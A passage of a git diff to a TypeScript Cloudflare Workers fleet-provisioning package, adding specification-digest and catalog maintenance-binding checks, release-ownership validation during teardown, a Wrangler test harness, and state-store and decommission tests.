+1626,7 @@ export class WorkersForPlatformsBackend implements ProvisioningBackend { physicalScriptName, platformResources, application, + catalogPublicKey, ); await this.#client.putDispatchSecrets(physicalScriptName, secrets, { includeMaintenanceAdmin: spec.authoredBy !== 'external', @@ -1601,6 +1636,12 @@ export class WorkersForPlatformsBackend implements ProvisioningBackend { }); } const attested = await this.#inspectDispatchWorker(physicalScriptName); + if (catalogPublicKey && attested) + this.#assertCatalogMaintenanceBindings( + spec, + attested.plainTextBindings, + catalogPublicKey, + ); if ( !attested || attested.artifactVersion !== deployed.artifactVersion || @@ -1775,13 +1816,17 @@ export class WorkersForPlatformsBackend implements ProvisioningBackend { policyId: policy.policyId, policyDigest: policy.policyDigest, policyHosts: policy.policyHosts, - stateEgress: { - resourceGroupId: externalPlatformResourceGroupId(spec), - stateScriptName: externalStateScriptName(spec), - credentialDigest: createHash('sha256') - .update(this.#stateEgressCredential(spec)) - .digest('hex'), - }, + ...(spec.authoredBy === 'external' + ? { + stateEgress: { + resourceGroupId: externalPlatformResourceGroupId(spec), + stateScriptName: externalStateScriptName(spec), + credentialDigest: createHash('sha256') + .update(this.#stateEgressCredential(spec)) + .digest('hex'), + }, + } + : {}), }, guard, ), @@ -1825,8 +1870,19 @@ export class WorkersForPlatformsBackend implements ProvisioningBackend { `immutable release '${physicalScriptName}' does not match persisted artifact version '${expectedArtifactVersion}'`, ); } + if (live.desiredSpecDigest !== deploymentSpecDigest(spec)) + throw new Error( + 'maintenance target does not match the requested specification digest', + ); + const profile = this.#maintenanceSigningProfile(spec); + if (spec.authoredBy === 'platform') + this.#assertCatalogMaintenanceBindings( + spec, + live.plainTextBindings, + profile.maintenanceCapabilityPublicKey, + ); const capability = await mintAsymmetricMaintenanceCapability({ - privateKey: this.#capabilityPrivateKey(spec), + privateKey: profile.maintenanceCapabilityPrivateKey, operation: 'ensure-maintenance', tenantTag: spec.tenantTag, environment: spec.environment, @@ -1900,19 +1956,42 @@ export class WorkersForPlatformsBackend implements ProvisioningBackend { } const databaseId = live.databaseIds[0]; if (!databaseId) throw new Error('D1 binding has no database id'); + if (!isSha256(live.desiredSpecDigest)) + throw new Error('dispatch Worker has no valid specification digest'); + const targetDigest = deploymentSpecDigest(spec); + if ( + (spec.authoredBy === 'external' || + expectedArtifactVersion !== undefined) && + live.desiredSpecDigest !== targetDigest + ) + throw new Error( + 'inspected artifact does not match the requested specification digest', + ); + const profile = this.#maintenanceSigningProfile(spec); + if (spec.authoredBy === 'platform') + this.#assertCatalogMaintenanceBindings( + spec, + live.plainTextBindings, + profile.maintenanceCapabilityPublicKey, + ); const capability = await mintAsymmetricMaintenanceCapability({ - privateKey: this.#capabilityPrivateKey(spec), + privateKey: profile.maintenanceCapabilityPrivateKey, operation: 'maintenance-status', tenantTag: spec.tenantTag, environment: spec.environment, scriptName: physicalScriptName, - specDigest: deploymentSpecDigest(spec), + specDigest: live.desiredSpecDigest, ttlSeconds: Math.ceil(this.#maintenanceRequestTimeoutMs / 1_000) + MAINTENANCE_CAPABILITY_SKEW_SECONDS, }); const response = await this.#fetch( - candidateMaintenanceUrl(spec, physicalScriptName, 'maintenance-status'), + candidateMaintenanceUrl( + spec, + physicalScriptName, + 'maintenance-status', + live.desiredSpecDigest, + ), { headers: { authorization: `Bearer ${capability.token}` }, signal: AbortSignal.timeout(this.#maintenanceRequestTimeoutMs), @@ -2038,7 +2117,12 @@ export class WorkersForPlatformsBackend implements ProvisioningBackend { activeRelease, ); for (const release of releases) { - await this.#assertReleaseOwner(spec, release, database); + await this.#assertReleaseOwner( + spec, + release, + database, + retainedReleases ?? [], + ); } for (const release of releases) { await this.#client.revokeDispatchSecrets(release.physicalScriptName); @@ -2060,7 +2144,12 @@ export class WorkersForPlatformsBackend implements ProvisioningBackend { activeRelease, ); for (const release of releases) { - await this.#assertReleaseOwner(spec, release, database); + await this.#assertReleaseOwner( + spec, + release, + database, + retainedReleases ?? [], + ); } await this.#client.deleteHostRouting( this.#hostRoutingKvId, @@ -2123,26 +2212,41 @@ export class WorkersForPlatformsBackend implements ProvisioningBackend { ) === index, ), ] - : [active]; + : [routed]; } async #assertReleaseOwner( spec: DeploymentSpec, release: ExternalReleaseSnapshot, database: DatabaseReference, + retainedReleases: readonly ExternalReleaseSnapshot[] = [], ): Promise { + const expected = + spec.authoredBy === 'platform' + ? [release, ...retainedReleases] + : [release]; + if ( + spec.authoredBy === 'platform' && + expected.some((target) => target.physicalScriptName !== spec.scriptName) + ) + throw new Error( + 'catalog teardown authority contains a different physical script', + ); const live = await this.#inspectDispatchWorker(release.physicalScriptName); if (!live) return; if ( live.tenantTag !== spec.tenantTag || live.environment !== spec.environment || - live.desiredSpecDigest !== release.specDigest || - live.schemaVersion !== release.releaseSchemaVersion || + !expected.some( + (target) => + live.desiredSpecDigest === target.specDigest && + live.schemaVersion === target.releaseSchemaVersion && + (target.artifactVersion === '' || + target.artifactVersion === 'pending' || + live.artifactVersion === target.artifactVersion), + ) || live.databaseIds.length !== 1 || live.databaseIds[0] !== database.id || - (release.artifactVersion !== '' && - release.artifactVersion !== 'pending' && - live.artifactVersion !== release.artifactVersion) || (spec.authoredBy === 'external' && live.durableObjectTag !== undefined) ) { throw new Error( @@ -2163,7 +2267,7 @@ export class WorkersForPlatformsBackend implements ProvisioningBackend { activeRelease, ); for (const release of releases) { - await this.#assertReleaseOwner(spec, release, database); + await this.#assertReleaseOwner(spec, release, database, retainedReleases); } await this.assertTrafficRemoved(spec); const errors: unknown[] = []; @@ -2247,6 +2351,14 @@ export class WorkersForPlatformsBackend implements ProvisioningBackend { ): Promise { await fence.assertOwned(); if ( + (Object.hasOwn(record, 'wfpMode') && !isPlatformCatalogRecord(record)) || + ((isPlatformCatalogRecord(record) || spec.authoredBy === 'platform') && + (!isPlatformCatalogRecord(record) || + spec.authoredBy !== 'platform' || + record.scriptName !== spec.scriptName || + record.platformResources !== undefined || + record.platformTarget !== undefined || + record.backendSwitchIntent !== undefined)) || record.tenantTag !== spec.tenantTag || record.environment !== spec.environment || record.routeHostname !== spec.routeHostname || @@ -2315,9 +2427,13 @@ export class WorkersForPlatformsBackend implements ProvisioningBackend { ); } } - const stateName = externalStateScriptName(spec); - const proxyName = externalEgressProxyScriptName(spec); - for (const scriptName of [stateName, proxyName]) { + const catalog = isPlatformCatalogRecord(record); + const stateName = catalog + ? record.scriptName + : externalStateScriptName(spec); + for (const scriptName of catalog + ? [] + : [stateName, externalEgressProxyScriptName(spec)]) { if (await this.#inspectControlWorker(scriptName)) { throw new Error( `trusted platform Worker '${scriptName}' remains before D1 deletion`, diff --git a/packages/fleet-control/test/cloudflare-client.test.ts b/packages/fleet-control/test/cloudflare-client.test.ts index cc8e0be0..76758ccc 100644 --- a/packages/fleet-control/test/cloudflare-client.test.ts +++ b/packages/fleet-control/test/cloudflare-client.test.ts @@ -129,6 +129,7 @@ describe('CloudflareProvisioningClient', () => { it.each([ 'control', 'dispatch', + 'catalog', 'state', ] as const)('encodes %s uploads as native multipart with one JSON metadata part', async (kind) => { const wasm = new Uint8Array([ @@ -146,6 +147,8 @@ describe('CloudflareProvisioningClient', () => { ], }); const observations: unknown[] = []; + const publicKey = + '{"kty":"OKP","crv":"Ed25519","alg":"EdDSA","kid":"fleet-maintenance-v1","x":"Lhp1XFeTJJx8FLOCKpn4nkO-tWuZZxXX8ziw0LEvUZo"}'; const client = new CloudflareProvisioningClient({ accountId: 'account', apiToken: 'inert', @@ -173,6 +176,32 @@ describe('CloudflareProvisioningClient', () => { /* The assertions retain malformed wire metadata. */ } const metadata = form?.get('metadata'); + if (kind === 'catalog') { + expect(JSON.parse(String(metadata)).bindings).toEqual( + expect.arrayContaining([ + { + name: 'FLEET_MAINTENANCE_CAPABILITIES', + type: 'plain_text', + text: 'required', + }, + { + name: 'FLEET_MAINTENANCE_CAPABILITY_PUBLIC_KEY', + type: 'plain_text', + text: publicKey, + }, + { + name: 'FLEET_DEPLOYMENT_SCRIPT', + type: 'plain_text', + text: spec.scriptName, + }, + { + name: 'FLEET_RESOURCE_ROLE', + type: 'plain_text', + text: 'platform-catalog', + }, + ]), + ); + } const file = [...(form?.values() ?? [])].find( (value) => typeof value !== 'string' && value.name === 'fixture.wasm', ); @@ -206,12 +235,19 @@ describe('CloudflareProvisioningClient', () => { compatibilityDate: spec.compatibilityDate, bindings: [], }); - else if (kind === 'dispatch') - await client.uploadDispatchWorker(spec, { - id: 'db-acme', - name: spec.databaseName, - created: false, - }); + else if (kind === 'dispatch' || kind === 'catalog') + await client.uploadDispatchWorker( + spec, + { + id: 'db-acme', + name: spec.databaseName, + created: false, + }, + spec.scriptName, + undefined, + undefined, + kind === 'catalog' ? publicKey : undefined, + ); else await client.uploadNamespacedStateWorker({ spec, diff --git a/packages/fleet-control/test/direct-reference-worker.harness.test.ts b/packages/fleet-control/test/direct-reference-worker.harness.test.ts index 2b23bb4b..6862f552 100644 --- a/packages/fleet-control/test/direct-reference-worker.harness.test.ts +++ b/packages/fleet-control/test/direct-reference-worker.harness.test.ts @@ -124,7 +124,16 @@ export default {async fetch(request,env){ if(mode==='recipes'){ const initial=context.spec('a','initial'),next=context.spec('a','next'); const record={tenantTag:initial.tenantTag,environment:initial.environment,backend:'plain-worker',scriptName:initial.scriptName,databaseId:'db-a',databaseName:initial.databaseName,schemaVersion:1,artifactVersion:'version-1',desiredSpecDigest:deploymentSpecDigest(initial),durableObjectBindings:[],routeHostname:initial.routeHostname,phase:'ready',updatedAt:new Date().toISOString()}; - return Response.json({initial:deploymentSpecDigest(initial),next:deploymentSpecDigest(next),selectedInitial:deploymentSpecDigest(context.specFor(record)),selectedNext:deploymentSpecDigest(context.specFor({...record,phase:'migrating',pendingSpecDigest:deploymentSpecDigest(next)})),providerCalls:calls.length}); + const activeRelease={physicalScriptName:record.scriptName,specDigest:record.desiredSpecDigest,artifactVersion:record.artifactVersion,releaseSchemaVersion:initial.schemaVersion}; + const migrating={...record,phase:'migrating',schemaVersion:next.schemaVersion,pendingSpecDigest:deploymentSpecDigest(next),activeRelease}; + const pendingRelease={physicalScriptName:record.scriptName,specDigest:deploymentSpecDigest(next),artifactVersion:'version-2',releaseSchemaVersion:next.schemaVersion}; + const teardown={...record,phase:'decommissioning',desiredSpecDigest:deploymentSpecDigest(next),activeRelease,pendingRelease}; + const resource=await recordDirectResource(context,teardown,'teardown-read'); + const rejected=[]; + for(const change of [{activeRelease:{...activeRelease,physicalScriptName:'foreign'}},{activeRelease:{...activeRelease,specDigest:'f'.repeat(64)}},{activeRelease:{...activeRelease,releaseSchemaVersion:99}},{activeRelease:{...activeRelease,artifactVersion:'pending'}},{activeRelease:{...activeRelease,artifactVersion:'foreign'}},{activeRelease:{...activeRelease,topology:{}}},{migrationPriorRelease:activeRelease},{migrationIntent:{}},{phase:'ready'}]){ + try{context.specFor({...migrating,...change});rejected.push(false);}catch{rejected.push(true);} + } + return Response.json({initial:deploymentSpecDigest(initial),next:deploymentSpecDigest(next),selectedInitial:deploymentSpecDigest(context.specFor(record)),selectedNext:deploymentSpecDigest(context.specFor(migrating)),selectedTeardown:deploymentSpecDigest(context.specFor(teardown)),knownVersionIds:JSON.parse(resource.identityJson).knownVersionIds,rejected,providerCalls:calls.length}); } if(mode==='release-pin'){ const slot=await context.journal.readOperation('inventory-before');const run=await context.inventoryStore.readRunByOperation(slot.operationId); @@ -346,11 +355,17 @@ export default {async fetch(request,env){ next: string; selectedInitial: string; selectedNext: string; + selectedTeardown: string; + knownVersionIds: string[]; + rejected: boolean[]; providerCalls: number; }; expect(value.initial).not.toBe(value.next); expect(value.selectedInitial).toBe(value.initial); expect(value.selectedNext).toBe(value.next); + expect(value.selectedTeardown).toBe(value.next); + expect(value.knownVersionIds).toEqual(['version-1', 'version-2']); + expect(value.rejected).toEqual(Array(9).fill(true)); expect(value.providerCalls).toBe(0); }); diff --git a/packages/fleet-control/test/fixtures/wfp-maintenance-harness.ts b/packages/fleet-control/test/fixtures/wfp-maintenance-harness.ts new file mode 100644 index 00000000..23d334c4 --- /dev/null +++ b/packages/fleet-control/test/fixtures/wfp-maintenance-harness.ts @@ -0,0 +1,215 @@ +// SPDX-License-Identifier: Apache-2.0 + +import { fileURLToPath } from 'node:url'; +import type { D1Database, R2Bucket } from '@cloudflare/workers-types'; +import { seedDeploymentIdentity } from '@proofoftech/flowsafe/do-runner'; +import { createTestHarness, type TestHarness } from 'wrangler'; +import { deploymentSpecDigest } from '../../src/spec-digest.js'; +import type { DeploymentSecrets, DeploymentSpec } from '../../src/types.js'; +import dispatchWorker, { + type FleetDispatchEnv, +} from '../../src/workers/dispatch.js'; +import { externalReleaseScriptName } from '../../src/workers-for-platforms-backend.js'; + +export async function createWfpMaintenanceHarness( + input: Readonly<{ + catalog: DeploymentSpec; + external: DeploymentSpec; + secrets: DeploymentSecrets; + publicKey: string; + }>, +) { + let catalog = input.catalog; + let catalogEnrolled = true; + const workerNames = ['wfp-catalog', 'wfp-state', 'wfp-candidate'] as const; + const main = fileURLToPath( + new URL('../../scripts/direct-credentialed-tenant.ts', import.meta.url), + ); + function options() { + return { + root: fileURLToPath(new URL('../..', import.meta.url)), + workers: workerNames.map((name, index) => { + const spec = name === 'wfp-catalog' ? catalog : input.external; + const candidate = name === 'wfp-candidate'; + const state = name === 'wfp-state'; + const required = candidate || state || catalogEnrolled; + return { + config: { + name, + main, + compatibility_date: '2026-08-06', + vars: { + DEPLOYMENT_TENANT: spec.tenantTag, + FLEET_ENVIRONMENT: spec.environment, + DEPLOYMENT_IDENTITY_SECRET: input.secrets.deploymentIdentity, + ...(candidate + ? {} + : { MAINTENANCE_ADMIN_SECRET: input.secrets.maintenanceAdmin }), + ...(required + ? { FLEET_MAINTENANCE_CAPABILITIES: 'required' } + : {}), + FLEET_SPEC_DIGEST: state + ? 'e'.repeat(64) + : deploymentSpecDigest(spec), + ...(!candidate && required + ? { + FLEET_MAINTENANCE_CAPABILITY_PUBLIC_KEY: input.publicKey, + FLEET_DEPLOYMENT_SCRIPT: state + ? 'external-stable-state' + : spec.scriptName, + FLEET_RESOURCE_ROLE: state + ? 'platform-state' + : 'platform-catalog', + } + : {}), + }, + d1_databases: [ + { + binding: 'DB', + database_name: name, + database_id: `00000000-0000-0000-0000-00000000003${index}`, + }, + ], + durable_objects: { + bindings: [ + { name: 'RUNNER', class_name: 'Runner' }, + { + name: 'MAINTENANCE', + class_name: 'Maintenance', + ...(candidate ? { script_name: 'wfp-state' } : {}), + }, + ], + }, + migrations: [ + { + tag: 'v1', + new_sqlite_classes: candidate + ? ['Runner'] + : ['Runner', 'Maintenance'], + }, + ], + }, + }; + }), + } satisfies Parameters[0]; + } + let server: TestHarness; + let control: TestHarness; + async function close() { + const results = await Promise.allSettled([ + (async () => server?.close())(), + (async () => control?.close())(), + ]); + const errors = results.flatMap((result) => + result.status === 'rejected' ? [result.reason] : [], + ); + if (errors.length) + throw new AggregateError(errors, 'WFP native fixture cleanup failed'); + } + const calls: Array<{ scriptName: string; options: unknown }> = []; + const requests: Request[] = []; + async function targetFetch( + name: (typeof workerNames)[number], + request: Request, + ): Promise { + return server.getWorker(name).fetch(request.url, { + method: request.method, + headers: [...request.headers], + ...(request.method === 'GET' || request.method === 'HEAD' + ? {} + : { body: await request.arrayBuffer() }), + }); + } + const dispatcher: FleetDispatchEnv = { + FLEET_MAINTENANCE_CAPABILITY_PUBLIC_KEY: input.publicKey, + TENANT_CPU_LIMIT_MS: '1000', + TENANT_SUBREQUEST_LIMIT: '50', + HOSTS: { + async get() { + throw new Error('maintenance unexpectedly consulted host routing'); + }, + }, + DISPATCH: { + get(scriptName, _arguments, options) { + calls.push({ scriptName, options }); + const name = + scriptName === catalog.scriptName + ? 'wfp-catalog' + : scriptName === externalReleaseScriptName(input.external) + ? 'wfp-candidate' + : undefined; + if (!name) throw new Error('unexpected fixture dispatch target'); + return { fetch: (request) => targetFetch(name, request) }; + }, + }, + }; + const requestFetch: typeof fetch = async (input, init) => { + const request = new Request(input, init); + requests.push(request.clone()); + return dispatchWorker.fetch(request, dispatcher); + }; + try { + server = createTestHarness(options()); + control = createTestHarness({ + root: fileURLToPath(new URL('../..', import.meta.url)), + workers: [ + { + config: { + name: 'wfp-control', + main: fileURLToPath( + new URL('../../src/workers/dispatch.ts', import.meta.url), + ), + compatibility_date: '2026-08-06', + d1_databases: [ + { + binding: 'DB', + database_name: 'wfp-control', + database_id: '00000000-0000-0000-0000-000000000034', + }, + ], + r2_buckets: [{ binding: 'EXPORTS', bucket_name: 'fleet-exports' }], + }, + }, + ], + }); + await server.listen(); + await control.listen(); + for (const name of workerNames) { + const env = await server.getWorker<{ DB: D1Database }>(name).getEnv(); + await seedDeploymentIdentity( + env.DB, + name === 'wfp-catalog' ? catalog.tenantTag : input.external.tenantTag, + 'open', + ); + } + } catch (error) { + try { + await close(); + } catch (cleanupError) { + throw new AggregateError( + [error, cleanupError], + 'WFP fixture startup and cleanup failed', + ); + } + throw error; + } + return { + fetch: requestFetch, + requests, + calls, + catalogFetch: (request: Request) => targetFetch('wfp-catalog', request), + async updateCatalog(spec: DeploymentSpec, enrolled = true) { + catalog = spec; + catalogEnrolled = enrolled; + await server.update(options()); + }, + async fleetDatabase() { + return (await control.getWorker<{ DB: D1Database }>().getEnv()).DB; + }, + async exportBucket() { + return (await control.getWorker<{ EXPORTS: R2Bucket }>().getEnv()) + .EXPORTS; + }, + close, + }; +} diff --git a/packages/fleet-control/test/fleet.test.ts b/packages/fleet-control/test/fleet.test.ts index 05553df5..7a6ff727 100644 --- a/packages/fleet-control/test/fleet.test.ts +++ b/packages/fleet-control/test/fleet.test.ts @@ -2913,8 +2913,14 @@ describe('fleet operations', () => { it('persists the advanced Durable Object tag and rejects a stale migration base', async () => { const priorHistory = [{ tag: 'v1', newClasses: ['Runner'] }]; + const { + activeRelease: _active, + platformTarget: _target, + ...catalog + } = record('acme'); const acme = { - ...record('acme'), + ...catalog, + wfpMode: 'platform-catalog' as const, durableObjectTag: 'v1', durableObjectMigrationHistory: priorHistory, durableObjectMigrationHistoryDigest: diff --git a/packages/fleet-control/test/plain-worker-backend-conformance.ts b/packages/fleet-control/test/plain-worker-backend-conformance.ts index b8da3a26..36adb32d 100644 --- a/packages/fleet-control/test/plain-worker-backend-conformance.ts +++ b/packages/fleet-control/test/plain-worker-backend-conformance.ts @@ -118,6 +118,38 @@ export function describePlainWorkerConformance( makeHarness: (world?: ProviderWorld) => PlainWorkerHarness, ): void { describe(`ordinary Worker conformance: ${label}`, () => { + it('decommissions the prior artifact after schema advancement and interrupted candidate upload', async () => { + const harness = makeHarness(); + const currentSpec = initialSpec(); + const targetSpec = migrationSpec(); + const initial = await provisionReady(harness, currentSpec); + harness.backend.deployWorker = async () => { + throw new Error('fixture interruption before upload'); + }; + await expect( + migrate(harness, initial.record, targetSpec), + ).rejects.toThrow('fixture interruption before upload'); + expect(harness.store.record).toMatchObject({ + phase: 'migrating', + schemaVersion: 2, + activeRelease: { + artifactVersion: initial.record.artifactVersion, + specDigest: deploymentSpecDigest(currentSpec), + releaseSchemaVersion: 1, + }, + }); + const removed = await decommissionDeployment({ + backend: harness.backend, + store: harness.store, + spec: targetSpec, + }); + expect(removed.record.phase).toBe('decommissioned'); + expect(harness.world.databases).toHaveLength(0); + expect(harness.world.scripts.get(targetSpec.scriptName)?.present).toBe( + false, + ); + }); + it('inspects a prior release and migrates changed variables, service and queue bindings', async () => { const harness = makeHarness(); const currentSpec: DeploymentSpec = { diff --git a/packages/fleet-control/test/provision.test.ts b/packages/fleet-control/test/provision.test.ts index 5883adfe..771b92eb 100644 --- a/packages/fleet-control/test/provision.test.ts +++ b/packages/fleet-control/test/provision.test.ts @@ -41,6 +41,10 @@ import { provisionDeployment, } from '../src/provision.js'; import { deploymentSpecDigest } from '../src/spec-digest.js'; +import { + D1FleetStateStore, + type FleetStateDatabase, +} from '../src/state-store.js'; import type { ActiveRouteAttestation, ApplicationR2BucketSnapshot, @@ -4532,6 +4536,46 @@ describe('fleet provisioning', () => { expect(legacyStore.deleteCalls).toBe(1); }); + it.each([ + 'database-reserved', + 'decommissioned', + ] as const)('uses claim-releasing deletion for force %s replay when the lease supports it', async (phase) => { + for (const capable of [false, true]) { + const backend = new FakeBackend('plain-worker'); + const store = new MemoryStore(); + store.supportsDeleteReleasingClaims = capable; + const deployment = spec(); + store.record = { + tenantTag: deployment.tenantTag, + environment: deployment.environment, + backend: backend.kind, + scriptName: deployment.scriptName, + databaseName: deployment.databaseName, + databaseId: + phase === 'database-reserved' ? 'reserved-acme' : DATABASE_ID, + schemaVersion: + phase === 'database-reserved' ? 0 : deployment.schemaVersion, + artifactVersion: + phase === 'database-reserved' ? 'pending' : 'completed-v1', + desiredSpecDigest: deploymentSpecDigest(deployment), + durableObjectBindings: [], + routeHostname: deployment.routeHostname, + phase, + updatedAt: '2026-09-10T00:00:00.000Z', + }; + await forceDecommissionDeployment({ + backend, + store, + tenantTag: deployment.tenantTag, + environment: deployment.environment, + }); + expect(store.record).toBeUndefined(); + expect(store.deleteReleasingClaimsCalls).toBe(capable ? 1 : 0); + expect(store.deleteCalls).toBe(capable ? 0 : 1); + expect(backend.events).toEqual([]); + } + }); + it('refuses force decommission during an active cleanup', async () => { const backend = new FakeBackend('plain-worker'); backend.failAt = 'worker'; @@ -8424,8 +8468,12 @@ describe('fleet provisioning', () => { }); it('atomically consumes plain and WFP migration carriers while preserving snapshots', async () => { - for (const kind of ['plain-worker', 'workers-for-platforms'] as const) { - const harness = await boundedDecommissionHarness({ kind }); + for (const mode of ['plain', 'catalog', 'external'] as const) { + const mutable = mode !== 'external'; + const harness = await boundedDecommissionHarness({ + kind: mode === 'plain' ? 'plain-worker' : 'workers-for-platforms', + external: mode === 'external', + }); const record = harness.store.record as FleetRecord; const targetDigest = deploymentSpecDigest(harness.deployment); const oldDigest = 'f'.repeat(64); @@ -8437,10 +8485,9 @@ describe('fleet provisioning', () => { application: record.applicationBindings, }; const pendingRelease: ExternalReleaseSnapshot = { - physicalScriptName: - kind === 'plain-worker' - ? record.scriptName - : `${record.scriptName}-next`, + physicalScriptName: mutable + ? record.scriptName + : `${record.scriptName}-next`, specDigest: targetDigest, artifactVersion: 'artifact-next', releaseSchemaVersion: harness.deployment.schemaVersion, @@ -8451,7 +8498,7 @@ describe('fleet provisioning', () => { phase: 'migrating', desiredSpecDigest: oldDigest, activeRelease, - ...(kind === 'plain-worker' + ...(mutable ? { pendingSpecDigest: targetDigest, pendingArtifactVersion: pendingRelease.artifactVersion, @@ -8518,6 +8565,168 @@ describe('fleet provisioning', () => { ); }); + it.each([ + 'plain-worker', + 'workers-for-platforms', + 'external', + ] as const)('preserves migration authority through compatibility teardown (%s)', async (mode) => { + const external = mode === 'external'; + const kind = external ? 'workers-for-platforms' : mode; + const harness = await boundedDecommissionHarness({ kind, external }); + const original = harness.store.record; + if (!original) throw new Error('legacy teardown fixture record is missing'); + const activeRelease: ExternalReleaseSnapshot = { + ...original.activeRelease, + physicalScriptName: external + ? `${original.scriptName}-${'f'.repeat(20)}` + : original.scriptName, + artifactVersion: 'artifact-old', + specDigest: 'f'.repeat(64), + releaseSchemaVersion: original.schemaVersion, + application: original.applicationBindings, + }; + let source: FleetRecord = { + ...original, + phase: 'migrating', + artifactVersion: activeRelease.artifactVersion, + desiredSpecDigest: activeRelease.specDigest, + activeRelease, + pendingSpecDigest: deploymentSpecDigest(harness.deployment), + pendingArtifactVersion: 'artifact-next', + }; + if (external) { + const target = original.platformTarget; + const pendingRelease = original.activeRelease; + const resources = original.platformResources; + if (!target || !pendingRelease || !resources) + throw new Error( + 'external compatibility fixture lacks target authority', + ); + const { pendingArtifactVersion: _pendingArtifactVersion, ...remaining } = + source; + source = { + ...remaining, + platformResources: { + ...resources, + stateWorker: { + ...resources.stateWorker, + plane: 'dispatch', + dispatchNamespace: 'compatibility', + }, + }, + pendingRelease, + migrationPriorRelease: activeRelease, + migrationIntent: { + priorRelease: activeRelease, + priorTarget: target, + priorOutboundPolicy: target.outboundPolicy, + targetRelease: pendingRelease, + targetSpecDigest: pendingRelease.specDigest, + target, + subphase: 'schema-applied', + }, + }; + } + const { DatabaseSync } = process.getBuiltinModule( + 'node:sqlite', + ) as typeof import('node:sqlite'); + const sqlite = new DatabaseSync(':memory:'); + const query = (sql: string, bindings: readonly unknown[] = []) => + sqlite.prepare(sql).all( + ...bindings.map((value) => { + if ( + value === null || + typeof value === 'string' || + typeof value === 'number' + ) + return value; + throw new Error('unexpected fixture SQL binding'); + }), + ); + const db: FleetStateDatabase = { + query: async (sql, bindings) => query(sql, bindings), + execute: async (sql, bindings) => { + query(sql, bindings); + }, + async batch(statements) { + sqlite.exec('BEGIN'); + try { + const results = statements.map(({ sql, bindings }) => + query(sql, bindings), + ); + sqlite.exec('COMMIT'); + return results; + } catch (error) { + sqlite.exec('ROLLBACK'); + throw error; + } + }, + }; + try { + const store = new D1FleetStateStore(db, { accountId: 'compatibility' }); + await store.withDeploymentLease( + source.tenantTag, + source.environment, + (lease) => lease.put(source), + ); + const hidden = new Set([ + 'advanceDecommissionAttachmentScan', + 'databaseExportReceiptAuthority', + 'exportDatabaseReceipt', + ]); + const backend = new Proxy(harness.backend, { + has(target, property) { + return !hidden.has(property) && Reflect.has(target, property); + }, + get(target, property) { + if (hidden.has(property)) return undefined; + const value = Reflect.get(target, property, target); + return typeof value === 'function' ? value.bind(target) : value; + }, + }); + if (external) { + const deletion = vi.spyOn(harness.backend, 'deletePlatformResources'); + deletion.mockRejectedValueOnce( + new Error('fixture state deletion unavailable'), + ); + await expect( + decommissionDeployment({ backend, store, spec: harness.deployment }), + ).rejects.toThrow('fixture state deletion unavailable'); + const interrupted = await store.get( + source.tenantTag, + source.environment, + ); + expect(interrupted).toMatchObject({ + phase: 'platform-credentials-revoked', + desiredSpecDigest: deploymentSpecDigest(harness.deployment), + migrationIntent: source.migrationIntent, + }); + await expect( + decommissionDeployment({ + backend, + store, + spec: { ...harness.deployment, compatibilityDate: '2026-08-11' }, + }), + ).rejects.toThrow(/different desired specification/); + } + const result = await decommissionDeployment({ + backend, + store, + spec: harness.deployment, + }); + expect(result.record.phase).toBe('decommissioned'); + expect(result.record.activeRelease).toEqual(activeRelease); + expect(result.record.desiredSpecDigest).toBe( + deploymentSpecDigest(harness.deployment), + ); + expect(result.record).not.toHaveProperty('pendingSpecDigest'); + expect(result.record).not.toHaveProperty('pendingArtifactVersion'); + expect(result.record).not.toHaveProperty('migrationIntent'); + } finally { + sqlite.close(); + } + }); + it('drains bounded backend-switch teardown and preserves legacy late recovery', async () => { const harness = await boundedDecommissionHarness({ kind: 'workers-for-platforms', diff --git a/packages/fleet-control/test/state-store.harness.test.ts b/packages/fleet-control/test/state-store.harness.test.ts index ce86b79d..ed522e57 100644 --- a/packages/fleet-control/test/state-store.harness.test.ts +++ b/packages/fleet-control/test/state-store.harness.test.ts @@ -494,6 +494,7 @@ describe.sequential('D1FleetStateStore Wrangler harness', { 'cleanup_intent', 'invocation_authority', 'settled_settlement_key', + 'wfp_mode', 'decommission_intent', ], }); @@ -1435,6 +1436,7 @@ describe.sequential('D1FleetStateStore Wrangler harness', { 'decommission_intent', 'cleanup_intent', 'invocation_authority', + 'wfp_mode', ], rows: 16, tables: [ diff --git a/packages/fleet-control/test/state-store.test.ts b/packages/fleet-control/test/state-store.test.ts index 8d2719fb..1670f6f6 100644 --- a/packages/fleet-control/test/state-store.test.ts +++ b/packages/fleet-control/test/state-store.test.ts @@ -193,6 +193,7 @@ class MemoryD1 implements FleetStateDatabase { 'database_export_size', 'settled_settlement_key', 'updated_at', + 'wfp_mode', ]; this.row = Object.fromEntries( names.map((name, index) => [name, bindings[index] ?? null]), @@ -599,6 +600,61 @@ function platformSet(workerName: string): PlatformPlaneResourceSet { } describe('D1FleetStateStore release state', () => { + it.each([ + 'plain-worker', + 'workers-for-platforms', + ] as const)('round-trips own mutable teardown artifacts without external topology (%s)', async (backend) => { + const db = new MemoryD1(); + const store = new D1FleetStateStore(db, { accountId: 'account' }); + const base = decommissionBase(); + const activeRelease = { + physicalScriptName: base.scriptName, + specDigest: base.desiredSpecDigest, + artifactVersion: base.artifactVersion, + releaseSchemaVersion: base.schemaVersion, + application: base.applicationBindings, + }; + const record: FleetRecord = { + ...base, + backend, + activeRelease, + ...(backend === 'workers-for-platforms' + ? { + wfpMode: 'platform-catalog', + outboundPolicy: externalPolicyAndTarget(base).outboundPolicy, + } + : {}), + }; + await store.withDeploymentLease( + record.tenantTag, + record.environment, + (lease) => lease.put(record), + ); + await expect( + store.get(record.tenantTag, record.environment), + ).resolves.toMatchObject({ activeRelease }); + if (!db.row) throw new Error('stored mutable fixture row is missing'); + const stored = { ...db.row }; + for (const alteration of [ + { physicalScriptName: 'foreign-script' }, + { artifactVersion: '' }, + ]) { + db.row = { + ...stored, + active_release: JSON.stringify({ ...activeRelease, ...alteration }), + }; + await expect( + store.get(record.tenantTag, record.environment), + ).rejects.toThrow('invalid active_release'); + } + if (backend === 'workers-for-platforms') { + db.row = { ...stored, wfp_mode: null }; + await expect( + store.get(record.tenantTag, record.environment), + ).rejects.toThrow('invalid active_release'); + } + }); + it('retries a transient schema bootstrap failure on the same instance', async () => { const db = new SchemaD1(); db.failCreateOnce = true; @@ -1047,6 +1103,7 @@ describe('D1FleetStateStore release state', () => { 'decommission_intent', 'cleanup_intent', 'invocation_authority', + 'wfp_mode', ]); const current = new SchemaD1(); await new D1FleetStateStore(current, { accountId: 'account' }).get( @@ -1130,6 +1187,7 @@ describe('D1FleetStateStore release state', () => { 'database_export_size', 'settled_settlement_key', 'updated_at', + 'wfp_mode', ]); }); @@ -1502,6 +1560,37 @@ 